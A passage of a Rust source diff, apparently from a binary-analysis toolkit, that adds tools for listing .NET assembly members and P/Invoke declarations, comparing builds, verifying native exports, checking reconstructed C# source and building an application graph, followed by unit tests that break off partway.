p.max_instructions)); + if let Some(names) = &p.type_names + && m.types.is_empty() + { + return Err(ToolError::invalid(format!("no type named {}", names.join(", "))) + .with_remediation("List all types by omitting type_names, then pass full names such as Ns.Type.")); + } + let limit = p.limit.clamp(1, 5000); + let (types, cov) = page(&m.types, p.offset, limit); + let bodies = m.types.iter().flat_map(|t| t.methods.iter()).filter(|x| x.body.is_some()).count(); + let calls: usize = m.types.iter().flat_map(|t| t.methods.iter()).filter_map(|x| x.body.as_ref()).map(|b| b.calls.len()).sum(); + let issues: Vec = m + .types + .iter() + .flat_map(|t| t.methods.iter()) + .filter_map(|x| x.body.as_ref().and_then(|b| b.decode_issue.as_ref()).map(|i| json!({"method": x.key, "issue": i}))) + .take(100) + .collect(); + let summary = format!( + "{} types ({} listed from {}), {} methods ({bodies} with IL bodies, {calls} call sites), {} fields.", + m.types.len(), + types.len(), + p.offset, + m.total_methods, + m.total_fields + ); + let mut lims = managed_limitations(&a); + lims.push(Limitation::new( + "static_calls", + "Call targets are the tokens named by call/callvirt/newobj/ldftn; virtual dispatch, delegates and reflection are not resolved.", + )); + if !issues.is_empty() { + lims.push(Limitation::new("il_decode", format!("{} method bodies could not be fully decoded (see decode_issues)", issues.len()))); + } + let ev = builder( + ctx, + "managed_members_list", + input.subject.clone(), + json!({"path": input.path, "type_names": p.type_names, "offset": p.offset, "limit": limit, "include_il": p.include_il}), + ) + .result(json!({ + "total_types": m.types.len(), + "assembly_type_count": m.total_types, + "total_methods": m.total_methods, + "total_fields": m.total_fields, + "methods_with_bodies": bodies, + "call_sites": calls, + "decode_issues": issues, + "types": types, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn managed_native_calls_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PathParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref(), MAX_ASSEMBLY)?; + let a = open_assembly(&input)?; + let nb = dotnet::native_boundaries(&a); + let modules: BTreeSet<&str> = nb.pinvokes.iter().map(|x| x.module.as_str()).collect(); + let summary = format!( + "{} P/Invoke declarations into {} module(s){}; {} internal calls, {} native-code methods, {} UnmanagedCallersOnly, {} LibraryImport.", + nb.pinvokes.len(), + modules.len(), + if modules.is_empty() { String::new() } else { format!(" ({})", modules.iter().take(8).copied().collect::>().join(", ")) }, + nb.internal_calls.len(), + nb.native_code_methods.len(), + nb.unmanaged_callers_only.len(), + nb.library_imports.len() + ); + let mut lims = managed_limitations(&a); + lims.push(Limitation::new("declared_only", "These are declared boundaries; whether each native function exists is checked by managed_native_calls_verify. Calls through function pointers or NativeLibrary.Load at run time are not listed.")); + let total = nb.pinvokes.len() + nb.internal_calls.len() + nb.native_code_methods.len(); + let ev = builder(ctx, "managed_native_calls_list", input.subject.clone(), json!({"path": input.path})) + .result(serde_json::to_value(&nb).unwrap_or(Value::Null)) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(Coverage::complete(total as u64)) + .locations(modules.iter().take(32).map(|m| Location::new("module", *m))) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// Compare + +#[derive(Debug, Clone)] +struct MRow<'m> { + m: &'m MethodInfo, + type_name: &'m str, + /// Parameters and return type only (no names). + sig: String, + hash: Option<&'m str>, + shape: String, +} + +fn rows_of(m: &Members) -> Vec> { + m.types + .iter() + .flat_map(|t| { + t.methods.iter().map(move |x| { + let sig = format!("({}):{}", x.params.iter().map(|p| p.ty.as_str()).collect::>().join(", "), x.return_type); + let hash = x.body.as_ref().map(|b| b.il_shape_hash.as_str()).filter(|h| !h.is_empty()); + let shape = format!("{}|{}|{}|{}", t.full_name, sig, x.body.as_ref().map(|b| b.code_size).unwrap_or(0), x.modifiers.join(",")); + MRow { m: x, type_name: &t.full_name, sig, hash, shape } + }) + }) + .collect() +} + +fn mrow_json(r: &MRow<'_>) -> Value { + json!({"key": r.m.key, "token": r.m.token, "signature": r.m.signature, "il_shape_hash": r.hash}) +} + +/// Pair unmatched rows whose `key` is unique on both sides. +fn tier<'m, F: Fn(&MRow<'m>) -> Option>( + l: &[MRow<'m>], + r: &[MRow<'m>], + lu: &mut [bool], + ru: &mut [bool], + key: F, + ambiguous: &mut BTreeSet, +) -> Vec<(usize, usize)> { + let mut lk: BTreeMap> = BTreeMap::new(); + let mut rk: BTreeMap> = BTreeMap::new(); + for (i, x) in l.iter().enumerate() { + if !lu.get(i).copied().unwrap_or(true) + && let Some(k) = key(x) + { + lk.entry(k).or_default().push(i); + } + } + for (i, x) in r.iter().enumerate() { + if !ru.get(i).copied().unwrap_or(true) + && let Some(k) = key(x) + { + rk.entry(k).or_default().push(i); + } + } + let mut out = Vec::new(); + for (k, li) in &lk { + let Some(ri) = rk.get(k) else { continue }; + match (li.as_slice(), ri.as_slice()) { + ([a], [b]) => { + if let (Some(x), Some(y)) = (lu.get_mut(*a), ru.get_mut(*b)) { + *x = true; + *y = true; + } + out.push((*a, *b)); + } + _ => { + ambiguous.insert(k.clone()); + } + } + } + out +} + +fn managed_assemblies_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CompareParams = parse_params(params)?; + let max_rows = p.max_rows.clamp(1, 100_000); + let ls = managed_source(ctx, &p.left, &["managed_members_list"])?; + ctx.cancel.check()?; + let rs = managed_source(ctx, &p.right, &["managed_members_list"])?; + let la = open_assembly(&ls.input)?; + let ra = open_assembly(&rs.input)?; + let filter = ls.type_names.clone().or_else(|| rs.type_names.clone()); + let lm = dotnet::members(&la, &member_options(filter.clone(), false, 1_000_000)); + ctx.cancel.check()?; + let rm = dotnet::members(&ra, &member_options(filter, false, 1_000_000)); + let l = rows_of(&lm); + let r = rows_of(&rm); + let mut lu = vec![false; l.len()]; + let mut ru = vec![false; r.len()]; + let mut ambiguous_keys = BTreeSet::new(); + // Tier 1: identical IL and signature (survives renames); tier 2: type + name + signature; + // tier 3: same structure. + let t1 = tier(&l, &r, &mut lu, &mut ru, |x| x.hash.map(|h| format!("{}|{h}", x.sig)), &mut ambiguous_keys); + let t2 = tier(&l, &r, &mut lu, &mut ru, |x| Some(x.m.key.clone()), &mut ambiguous_keys); + let t3 = tier(&l, &r, &mut lu, &mut ru, |x| x.hash.map(|_| x.shape.clone()), &mut ambiguous_keys); + let mut unchanged = Vec::new(); + let mut changed = Vec::new(); + let mut renamed = Vec::new(); + let mut push_pair = |a: usize, b: usize, tier: &str| { + let (Some(x), Some(y)) = (l.get(a), r.get(b)) else { return }; + let same_key = x.m.key == y.m.key; + let same_body = x.hash == y.hash; + let row = json!({"left": mrow_json(x), "right": mrow_json(y), "tier": tier}); + if same_key && same_body { + unchanged.push(row); + } else if same_key { + changed.push(row); + } else { + renamed.push( + json!({"left": mrow_json(x), "right": mrow_json(y), "tier": tier, "body_identical": same_body, "moved_type": x.type_name != y.type_name}), + ); + } + }; + for (a, b) in t1 { + push_pair(a, b, "identical-il-and-signature"); + } + for (a, b) in t2 { + push_pair(a, b, "type-name-signature"); + } + for (a, b) in t3 { + push_pair(a, b, "same-structure"); + } + let removed: Vec = l.iter().zip(&lu).filter(|(_, u)| !**u).map(|(x, _)| mrow_json(x)).collect(); + let added: Vec = r.iter().zip(&ru).filter(|(_, u)| !**u).map(|(x, _)| mrow_json(x)).collect(); + let lt: BTreeSet<&str> = lm.types.iter().map(|t| t.full_name.as_str()).collect(); + let rt: BTreeSet<&str> = rm.types.iter().map(|t| t.full_name.as_str()).collect(); + let fields = |m: &Members| -> BTreeMap { + m.types.iter().flat_map(|t| t.fields.iter().map(move |f| (format!("{}::{}", t.full_name, f.name), f.ty.clone()))).collect() + }; + let (lf, rf) = (fields(&lm), fields(&rm)); + let field_changes: Vec = lf + .iter() + .filter_map(|(k, v)| match rf.get(k) { + None => Some(json!({"field": k, "change": "removed", "type": v})), + Some(w) if w != v => Some(json!({"field": k, "change": "type-changed", "from": v, "to": w})), + _ => None, + }) + .chain(rf.iter().filter(|(k, _)| !lf.contains_key(*k)).map(|(k, v)| json!({"field": k, "change": "added", "type": v}))) + .collect(); + let counts = json!({ + "unchanged": unchanged.len(), "changed": changed.len(), "renamed_or_moved": renamed.len(), + "added": added.len(), "removed": removed.len(), "ambiguous_keys": ambiguous_keys.len(), + "types_added": rt.difference(<).count(), "types_removed": lt.difference(&rt).count(), "field_changes": field_changes.len(), + }); + let cap = |v: Vec| v.into_iter().take(max_rows).collect::>(); + let truncated = [unchanged.len(), changed.len(), renamed.len(), added.len(), removed.len()].iter().any(|n| *n > max_rows); + let summary = format!( + "{} → {}: {} methods unchanged, {} changed, {} renamed or moved, {} added, {} removed{}.", + ls.input.name, + rs.input.name, + unchanged.len(), + changed.len(), + renamed.len(), + added.len(), + removed.len(), + if ambiguous_keys.is_empty() { String::new() } else { format!(", {} ambiguous", ambiguous_keys.len()) } + ); + let mut b = builder( + ctx, + "managed_assemblies_compare", + Subject { kind: "managed-pair".into(), sha256: None, name: Some(format!("{} vs {}", ls.input.name, rs.input.name)) }, + json!({"left": ls.input.subject.sha256, "right": rs.input.subject.sha256, "max_rows": max_rows}), + ) + .result(json!({ + "counts": counts, + "changed": cap(changed), "renamed_or_moved": cap(renamed), "added": cap(added), "removed": cap(removed), + "unchanged": cap(unchanged), + "ambiguous_keys": ambiguous_keys.iter().take(max_rows).collect::>(), + "types_added": rt.difference(<).take(max_rows).collect::>(), + "types_removed": lt.difference(&rt).take(max_rows).collect::>(), + "field_changes": field_changes.into_iter().take(max_rows).collect::>(), + })) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new( + "matching_heuristic", + "Renames are matched only when the IL and signature (or the structure) are unique on both sides; duplicates stay ambiguous and appear as added/removed.", + )) + .coverage(Coverage { status: if truncated { CoverageStatus::Partial } else { CoverageStatus::Complete }, examined: Some((l.len() + r.len()) as u64), total: Some((l.len() + r.len()) as u64), next_offset: None }); + if truncated { + b = b.limitation(Limitation::new("rows_capped", format!("lists are capped at max_rows={max_rows}; counts are complete"))); + } + for id in [ls.evidence_id, rs.evidence_id].into_iter().flatten() { + b = b.link(id); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Verify P/Invoke against native exports + +struct NativeLib { + name: String, + norm: String, + exports: BTreeSet, + source: String, +} + +/// `libFoo.so.1`, `Foo.dll`, `foo` → `foo`. +fn norm_module(m: &str) -> String { + let base = m.rsplit(['/', '\\']).next().unwrap_or(m).to_ascii_lowercase(); + let mut s = base.as_str(); + for ext in [".dll", ".exe", ".dylib", ".so"] { + if let Some(i) = s.find(ext) + && (s.len() == i + ext.len() || s.get(i + ext.len()..).is_some_and(|r| r.starts_with('.'))) + { + s = s.get(..i).unwrap_or(s); + break; + } + } + let s = s.strip_prefix("lib").filter(|r| !r.is_empty()).unwrap_or(s); + s.to_string() +} + +fn native_lib(ctx: &Ctx<'_>, v: &Value) -> Result { + let from_path = |p: &str| -> Result { + let input = load_path(p, 2 << 30)?; + let bin = craft_anything_formats::parse_binary(&input.bytes).map_err(|e| format_err(e, "an ELF, PE or Mach-O library"))?; + let mut exports: BTreeSet = bin.exports.iter().map(|e| e.name.clone()).collect(); + // Mach-O exports carry a leading underscore. + if matches!(bin.format, craft_anything_formats::Format::MachO) { + exports = exports.into_iter().map(|e| e.strip_prefix('_').map(String::from).unwrap_or(e)).collect(); + } + Ok(NativeLib { norm: norm_module(&input.name), name: input.name, exports, source: p.to_string() }) + }; + if let Some(p) = is_path_input(v) { + return from_path(p); + } + let ev = resolve_evidence_input(ctx, v, &["native_layout_show"])?; + let name = ev.subject.name.clone().unwrap_or_default(); + match ev.result.get("exports").and_then(Value::as_array) { + Some(list) => { + let macho = ev.result.get("format").and_then(Value::as_str).is_some_and(|f| f.to_ascii_lowercase().contains("mach")); + let exports = list + .iter() + .filter_map(|e| e.get("name").and_then(Value::as_str)) + .map(|n| if macho { n.strip_prefix('_').unwrap_or(n).to_string() } else { n.to_string() }) + .collect(); + Ok(NativeLib { norm: norm_module(&name), name, exports, source: ev.id }) + } + None => match ev.params.get("path").and_then(Value::as_str) { + Some(p) => from_path(p), + None => Err(ToolError::invalid(format!("evidence {} has no export list (was it recorded with detail=summary?)", ev.id)) + .with_remediation("Pass the native library's absolute path instead.")), + }, + } +} + +fn managed_native_calls_verify(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: VerifyParams = parse_params(params)?; + if p.native.is_empty() || p.native.len() > 256 { + return Err(ToolError::invalid("native must list 1..=256 libraries")); + } + let ms = managed_source(ctx, &p.managed, &["managed_native_calls_list"])?; + let a = open_assembly(&ms.input)?; + let nb: NativeBoundaries = dotnet::native_boundaries(&a); + let mut libs = Vec::new(); + for v in &p.native { + ctx.cancel.check()?; + libs.push(native_lib(ctx, v)?); + } + let mut rows = Vec::new(); + let mut counts: BTreeMap<&'static str, usize> = BTreeMap::new(); + for pi in &nb.pinvokes { + let want = norm_module(&pi.module); + let lib = libs.iter().find(|l| l.norm == want); + let (status, matched, note): (&'static str, Option, String) = match lib { + _ if pi.module == "__Internal" || pi.module.eq_ignore_ascii_case("QCall") => { + ("undetermined", None, format!("{} resolves inside the process or runtime, not a separate library", pi.module)) + } + None => ("undetermined", None, format!("no native library named like {} was supplied", pi.module)), + Some(l) if l.exports.is_empty() => ("undetermined", None, format!("{} has no export table to check", l.name)), + Some(l) => { + let e = &pi.entry_point; + let mut variants: Vec = Vec::new(); + if !pi.exact_spelling { + match pi.charset { + "unicode" => variants.push(format!("{e}W")), + "auto" => { + variants.push(format!("{e}W")); + variants.push(format!("{e}A")); + } + _ => variants.push(format!("{e}A")), + } + } + let decorated = l.exports.iter().find(|x| { + let s = x.strip_prefix('_').unwrap_or(x); + s.split_once('@').is_some_and(|(n, d)| n == e && !d.is_empty() && d.bytes().all(|b| b.is_ascii_digit())) + }); + if l.exports.contains(e) { + ("found", Some(e.clone()), format!("exported by {}", l.name)) + } else if let Some(v) = variants.iter().find(|v| l.exports.contains(*v)) { + ("found-variant", Some(v.clone()), format!("the runtime also probes {v} for charset {}", pi.charset)) + } else if let Some(d) = decorated { + ("found-decorated", Some(d.clone()), "stdcall-decorated name (x86)".into()) + } else if let Some(c) = l.exports.iter().find(|x| x.eq_ignore_ascii_case(e)) { + ("case-mismatch", Some(c.clone()), "only a different-case export exists; symbol lookup is case-sensitive".into()) + } else { + ("missing", None, format!("{} does not export {e}", l.name)) + } + } + }; + *counts.entry(status).or_default() += 1; + rows.push(json!({ + "method": format!("{}::{}", pi.declaring_type, pi.method), "token": pi.token, "module": pi.module, "entry_point": pi.entry_point, + "charset": pi.charset, "exact_spelling": pi.exact_spelling, "status": status, "matched_export": matched, + "library": lib.map(|l| l.name.clone()), "note": note, + })); + } + let supplied: Vec = libs.iter().map(|l| json!({"name": l.name, "normalized": l.norm, "exports": l.exports.len(), "source": l.source})).collect(); + let missing = counts.get("missing").copied().unwrap_or(0); + let undetermined = counts.get("undetermined").copied().unwrap_or(0); + let summary = format!( + "{} P/Invoke declarations: {} found, {} missing, {} undetermined.", + nb.pinvokes.len(), + counts.get("found").copied().unwrap_or(0) + counts.get("found-variant").copied().unwrap_or(0) + counts.get("found-decorated").copied().unwrap_or(0), + missing, + undetermined + ); + let mut b = builder(ctx, "managed_native_calls_verify", ms.input.subject.clone(), json!({"managed": ms.input.subject.sha256, "native": supplied})) + .result(json!({"counts": counts, "pinvokes": rows, "native_libraries": supplied, "internal_calls": nb.internal_calls.len()})) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new( + "name_only", + "Checks that an export with the right name exists; argument types, calling conventions and the library the runtime would actually load at run time are not checked.", + )) + .coverage(Coverage { status: if undetermined > 0 { CoverageStatus::Partial } else { CoverageStatus::Complete }, examined: Some(nb.pinvokes.len() as u64), total: Some(nb.pinvokes.len() as u64), next_offset: None }); + if let Some(id) = ms.evidence_id { + b = b.link(id); + } + for v in &p.native { + if let Some(id) = v.as_str().filter(|s| craft_anything_evidence::is_evidence_id(s)).or_else(|| v.get("evidence_id").and_then(Value::as_str)) { + b = b.link(id.to_string()); + } + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Import a reconstruction + +/// (file name, text) pairs and notes about what was skipped. +type Sources = (Vec<(String, String)>, Vec); + +fn read_sources(p: &ImportParams, ctx: &Ctx<'_>) -> Result { + const MAX_TOTAL: u64 = 64 << 20; + let mut notes = Vec::new(); + match (&p.source_text, &p.source_path) { + (Some(t), None) => { + if t.len() as u64 > MAX_TOTAL { + return Err(ToolError::new(ErrorCode::OverLimit, "source_text is larger than 64 MiB")); + } + Ok((vec![("source_text".into(), t.clone())], notes)) + } + (None, Some(sp)) => { + let path = PathBuf::from(sp); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("source_path must be absolute, got {sp:?}"))); + } + let meta = std::fs::metadata(&path).map_err(|e| ToolError::io(sp, e))?; + if meta.is_file() { + if meta.len() > MAX_TOTAL { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{sp} is larger than 64 MiB"))); + } + let bytes = std::fs::read(&path).map_err(|e| ToolError::io(sp, e))?; + return Ok((vec![(sp.clone(), String::from_utf8_lossy(&bytes).into_owned())], notes)); + } + let skip = |_: &str| false; + let walked = walk_dir( + &path, + &WalkOptions { + max_files: p.max_files.clamp(1, 100_000).saturating_mul(4), + max_depth: 32, + skip_dir: &skip, + gitignore: true, + include_hidden: false, + }, + &ctx.cancel, + )?; + let mut out = Vec::new(); + let mut total = 0u64; + for f in walked.files.iter().filter(|f| f.rel.to_ascii_lowercase().ends_with(".cs")) { + if out.len() >= p.max_files.clamp(1, 100_000) || total.saturating_add(f.size) > MAX_TOTAL { + notes.push("file count or size limit reached; some .cs files were not read".into()); + break; + } + match std::fs::read(&f.abs) { + Ok(b) => { + total += b.len() as u64; + out.push((f.rel.clone(), String::from_utf8_lossy(&b).into_owned())); + } + Err(e) => notes.push(format!("{}: {e}", f.rel)), + } + } + if walked.truncated { + notes.push("the folder walk stopped at a limit".into()); + } + if out.is_empty() { + return Err(ToolError::invalid(format!("no .cs files under {sp}"))); + } + Ok((out, notes)) + } + _ => Err(ToolError::invalid("pass exactly one of source_path or source_text")), + } +} + +fn managed_reconstruction_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ImportParams = parse_params(params)?; + let max_rows = p.max_rows.clamp(1, 100_000); + let ms = managed_source(ctx, &p.members, &["managed_members_list"])?; + let (sources, notes) = read_sources(&p, ctx)?; + let a = open_assembly(&ms.input)?; + let members = dotnet::members(&a, &MemberOptions { type_filter: ms.type_names.clone(), skip_bodies: true, ..MemberOptions::default() }); + let mut scan = csharp::CsScan::default(); + for (i, (name, text)) in sources.iter().enumerate() { + if i % 32 == 0 { + ctx.cancel.check()?; + } + let s = csharp::scan(text); + scan.types.extend(s.types); + scan.members.extend(s.members); + scan.warnings.extend(s.warnings.into_iter().map(|w| format!("{name}: {w}"))); + } + let r = csharp::reconcile(&members, &scan); + let considered = r.matched.len() + r.signature_mismatch.len() + r.missing.len(); + let ratio = if considered == 0 { 0.0 } else { r.matched.len() as f64 / considered as f64 }; + let summary = format!( + "{} of {considered} declared members match ({:.0}%); {} signature mismatches, {} missing from the source, {} extra in the source; types {} matched, {} missing, {} extra.", + r.matched.len(), + ratio * 100.0, + r.signature_mismatch.len(), + r.missing.len(), + r.extra.len(), + r.matched_types, + r.missing_types.len(), + r.extra_types.len() + ); + let cap = |v: &[csharp::MemberMatch]| serde_json::to_value(v.iter().take(max_rows).collect::>()).unwrap_or(Value::Null); + let mut lims = vec![ + Limitation::new("declarations_only", "Only declarations are compared; method bodies are not checked, so a match says nothing about behaviour."), + Limitation::new( + "lightweight_parser", + "The C# scanner reads declarations without a full parse; unusual syntax, macros-like source generators or partial types split oddly may be missed.", + ), + ]; + lims.extend(notes.iter().map(|n| Limitation::new("source_read", n.clone()))); + lims.extend(scan.warnings.iter().take(20).map(|w| Limitation::new("source_scan", w.clone()))); + let mut b = builder( + ctx, + "managed_reconstruction_check", + ms.input.subject.clone(), + json!({"members": ms.input.subject.sha256, "source_path": p.source_path, "source_files": sources.len(), "max_rows": max_rows}), + ) + .result(json!({ + "counts": { + "matched": r.matched.len(), "signature_mismatch": r.signature_mismatch.len(), "missing": r.missing.len(), "extra": r.extra.len(), + "implicit": r.implicit.len(), "matched_types": r.matched_types, "missing_types": r.missing_types.len(), "extra_types": r.extra_types.len(), + }, + "declaration_match_ratio": ratio, + "signature_mismatch": cap(&r.signature_mismatch), + "missing": cap(&r.missing), + "extra": cap(&r.extra), + "implicit": cap(&r.implicit), + "matched": cap(&r.matched), + "missing_types": r.missing_types.iter().take(max_rows).collect::>(), + "extra_types": r.extra_types.iter().take(max_rows).collect::>(), + "source_files": sources.iter().map(|(n, _)| n.as_str()).take(max_rows).collect::>(), + })) + .summary(summary) + .confidence(Confidence::Derived) + .authority(Authority::Reasoning) + .limitations(lims) + .coverage(Coverage::complete(considered as u64)); + if let Some(id) = ms.evidence_id { + b = b.link(id); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Application graph + +struct Graph { + nodes: Vec, + ids: BTreeSet, + edges: Vec, + max: usize, + truncated: bool, +} + +impl Graph { + fn node(&mut self, id: String, kind: &str, label: String, extra: Value) -> bool { + if self.ids.contains(&id) { + return true; + } + if self.nodes.len() >= self.max { + self.truncated = true; + return false; + } + let mut n = json!({"id": id, "kind": kind, "label": label}); + if let (Value::Object(m), Value::Object(x)) = (&mut n, extra) { + m.extend(x); + } + self.ids.insert(id); + self.nodes.push(n); + true + } + + fn edge(&mut self, from: &str, to: &str, kind: &str) { + if self.ids.contains(from) && self.ids.contains(to) && self.edges.len() < self.max.saturating_mul(8) { + self.edges.push(json!({"from": from, "to": to, "kind": kind})); + } else if self.edges.len() >= self.max.saturating_mul(8) { + self.truncated = true; + } + } +} + +fn managed_app_graph_build(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: GraphParams = parse_params(params)?; + let max_nodes = p.max_nodes.clamp(10, 20_000); + let src = match &p.input { + Some(v) => managed_source(ctx, v, MANAGED_OPS)?, + None => ManagedSource { input: load(ctx, None, MAX_ASSEMBLY)?, evidence_id: None, type_names: None }, + }; + let a = open_assembly(&src.input)?; + let inv = dotnet::inventory(&a); + let members = dotnet::members(&a, &member_options(src.type_names.clone(), false, 1_000_000)); + let nb = dotnet::native_boundaries(&a); + let name = inv.assembly.as_ref().map(|x| x.name.clone()).unwrap_or_else(|| src.input.name.clone()); + let root = format!("app:{name}"); + let mut g = Graph { nodes: Vec::new(), ids: BTreeSet::new(), edges: Vec::new(), max: max_nodes, truncated: false }; + g.node(root.clone(), "application", name.clone(), json!({"dotnet_family": inv.classification.dotnet_family, "target_frameworks": inv.target_frameworks})); + for r in &inv.assembly_refs { + let id = format!("assembly-ref:{}", r.name); + if g.node(id.clone(), "assembly-ref", format!("{} {}", r.name, r.version), json!({})) { + g.edge(&root, &id, "references"); + } + } + for r in &inv.manifest_resources { + let id = format!("resource:{}", r.name); + if g.node(id.clone(), "resource", r.name.clone(), json!({"implementation": r.implementation})) { + g.edge(&root, &id, "contains"); + } + } + for m in &nb.module_refs { + let id = format!("native-module:{m}"); + if g.node(id.clone(), "native-module", m.clone(), json!({})) { + g.edge(&root, &id, "references"); + } + } + // Types and methods first, then edges between them. + let mut method_ids: BTreeMap<&str, String> = BTreeMap::new(); + for t in members.types.iter().filter(|t| t.kind != "module" || !t.methods.is_empty()) { + let tid = format!("type:{}", t.full_name); + if !g.node(tid.clone(), "type", t.full_name.clone(), json!({"type_kind": t.kind, "visibility": t.visibility})) { + break; + } + g.edge(&root, &tid, "contains"); + for m in &t.methods { + let mid = format!("method:{}", m.token); + if !g.node(mid.clone(), "method", format!("{}::{}", t.full_name, m.name), json!({"signature": m.signature, "pinvoke": m.pinvoke})) { + break; + } + g.edge(&tid, &mid, "contains"); + method_ids.insert(m.token.as_str(), mid); + } + } + for t in &members.types { + let tid = format!("type:{}", t.full_name); + if let Some(base) = &t.extends { + let bid = format!("type:{base}"); + if g.ids.contains(&bid) { + g.edge(&tid, &bid, "inherits"); + } + } + for m in &t.methods { + let Some(mid) = method_ids.get(m.token.as_str()).cloned() else { continue }; + for c in m.body.iter().flat_map(|b| b.calls.iter()) { + let target = match method_ids.get(c.token.as_str()) { + Some(id) => id.clone(), + None => { + let id = format!("external:{}", c.target); + if !g.node(id.clone(), "external-member", c.target.clone(), json!({})) { + continue; + } + id + } + }; + g.edge(&mid, &target, "calls"); + } + } + } + for pi in &nb.pinvokes { + if let Some(mid) = method_ids.get(pi.token.as_str()).cloned() { + g.edge(&mid, &format!("native-module:{}", pi.module), "pinvoke"); + } + } + let mut kinds: BTreeMap = BTreeMap::new(); + for n in &g.nodes { + *kinds.entry(n["kind"].as_str().unwrap_or("?").to_string()).or_default() += 1; + } + let node_count = g.nodes.len(); + let summary = format!( + "{name}: {} nodes ({}) and {} edges{}.", + g.nodes.len(), + kinds.iter().map(|(k, v)| format!("{v} {k}")).collect::>().join(", "), + g.edges.len(), + if g.truncated { "; cut short at max_nodes" } else { "" } + ); + let mut b = builder(ctx, "managed_app_graph_build", src.input.subject.clone(), json!({"path": src.input.path, "max_nodes": max_nodes})) + .result(json!({"platform": "dotnet", "recognised": true, "graph": {"nodes": g.nodes, "edges": g.edges}, "counts": kinds, "truncated": g.truncated})) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("static_calls", "Call edges come from IL call tokens; virtual dispatch, delegates and reflection are not resolved.")) + .coverage(if g.truncated { super::static_input::partial(node_count as u64) } else { Coverage::complete(node_count as u64) }); + if g.truncated { + b = b.limitation(Limitation::new("truncated", format!("the graph stops at max_nodes={max_nodes}"))); + } + if let Some(id) = src.evidence_id { + b = b.link(id); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err, engine_with}; + use crate::Engine; + use craft_anything_testkit::managed as fx; + use serde_json::{Value, json}; + + fn retained(v: &Value) -> Value { + json!({"kind": "saved", "evidence_id": v["id"]}) + } + + #[test] + fn static_tools_on_the_active_target() { + let e = engine_with("Sample.dll", &fx::managed_assembly(1)); + let inv = call(&e, "managed_assembly_show", json!({})); + assert_eq!(inv["result"]["assembly"]["name"], "Sample"); + assert_eq!(inv["result"]["classification"]["dotnet_family"], "dotnet-core"); + assert!(inv["summary"].as_str().unwrap().contains("targets .NETCoreApp,Version=v8.0"), "{}", inv["summary"]); + let m = call(&e, "managed_members_list", json!({"limit": 2, "include_il": true})); + assert_eq!(m["result"]["total_types"], 4); + assert_eq!(m["result"]["types"].as_array().unwrap().len(), 2); + assert_eq!(m["coverage"]["next_offset"], 2); + let calc = &m["result"]["types"][1]; + assert_eq!(calc["full_name"], "Sample.Calculator"); + assert_eq!(calc["methods"][0]["signature"], "public int Add(int a, int b)"); + assert!(calc["methods"][0]["body"]["il"].is_array()); + let f = call(&e, "managed_members_list", json!({"type_names": ["Sample.NativeMethods"]})); + assert_eq!(f["result"]["total_types"], 1); + let err = call_err(&e, "managed_members_list", json!({"type_names": ["Nope"]})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::BadInput); + let nb = call(&e, "managed_native_calls_list", json!({})); + assert_eq!(nb["result"]["pinvokes"].as_array().unwrap().len(), 2); + assert_eq!(nb["result"]["internal_calls"][0]["method"], "GetTicks"); + } + + #[test] + fn non_managed_input_is_a_clear_error() { + let e = engine_with("prog.exe", &craft_anything_testkit::pe64()); + let err = call_err(&e, "managed_assembly_show", json!({})); + assert!(err.message.contains(".NET"), "{}", err.message); + let p = craft_anything_testkit::temp_file("junk.dll", b"MZjunk"); + assert!(call_err(&Engine::new(crate::testing::session()), "managed_members_list", json!({"path": p})).remediation.is_some()); + } + + #[test] + fn compare_two_builds() { + let e = Engine::new(crate::testing::session()); + let p1 = craft_anything_testkit::temp_file("v1.dll", &fx::managed_assembly(1)); + let p2 = craft_anything_testkit::temp_file("v2.dll", &fx::managed_assembly(2)); + let m1 = call(&e, "managed_members_list", json!({"path": p1})); + let d = call(&e, "managed_assemblies_compare", json!({"left": retained(&m1), "right": p2})); + let c = &d["result"]["counts"]; + assert_eq!(c["changed"], 1, "{}", d["result"]); + assert_eq!(c["added"], 1); + assert_eq!(c["removed"], 1); + assert_eq!(d["result"]["changed"][0]["left"]["key"], "Sample.Calculator::Add(int, int):int"); + assert_eq!(d["result"]["added"][0]["key"], "Sample.Calculator::Multiply(int, int):int"); + assert_eq!(d["result"]["removed"][0]["key"], "Sample.NativeMethods::MissingFn():void"); + assert!(d["links"].as_array().unwrap().iter().any(|l| l == &m1["id"])); + // A changed file behind retained evidence is refused. + std::fs::write(&p1, fx::managed_assembly(2)).unwrap(); + let err = call_err(&e, "managed_assemblies_compare", json!({"left": retained(&m1), "right": p2})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::FileChanged); + } + + #[test] + fn verify_pinvokes_against_a_native_library() { + let e = Engine::new(crate::testing::session()); + let asm = craft_anything_testkit::temp_file("Sample.dll", &fx::managed_assembly(1)); + // The native export library is named like the P/Invoke module. + let lib = craft_anything_testkit::temp_file("craft.dll", &craft_anything_testkit::pe64()); + let nb = call(&e, "managed_native_calls_list", json!({"path": asm})); + let layout = call(&e, "native_layout_show", json!({"path": lib})); + let v = call(&e, "managed_native_calls_verify", json!({"managed": retained(&nb), "native": [retained(&layout)]})); + let rows = v["result"]["pinvokes"].as_array().unwrap(); + assert_eq!(rows[0]["status"], "found", "{}", v["result"]); + 